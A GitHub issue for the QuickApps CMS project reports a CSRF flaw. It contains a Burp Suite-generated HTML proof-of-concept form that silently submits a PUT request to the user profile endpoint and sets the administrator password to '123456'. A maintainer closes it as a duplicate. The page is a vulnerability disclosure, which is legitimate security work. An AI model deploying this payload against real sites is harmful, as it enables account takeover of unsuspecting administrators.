quickapps / cms

Modular CMS powered by CakePHP
GNU General Public License v3.0
164 stars 69 forks source link

CSRF issue that allows attacker to change the administrator password #199

Closed AutismJH closed 6 years ago

AutismJH commented 6 years ago
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://demo.quickappscms.org/en_US/user/me" method="POST">
      <input type="hidden" name="&#95;method" value="PUT" />
      <input type="hidden" name="name" value="demo" />
      <input type="hidden" name="email" value="info&#64;quickappscms&#46;org" />
      <input type="hidden" name="public&#95;email" value="0" />
      <input type="hidden" name="public&#95;profile" value="0" />
      <input type="hidden" name="web" value="" />
      <input type="hidden" name="locale" value="" />
      <input type="hidden" name="password" value="123456" />
      <input type="hidden" name="password2" value="123456" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
botchris commented 6 years ago

Duplicate of #187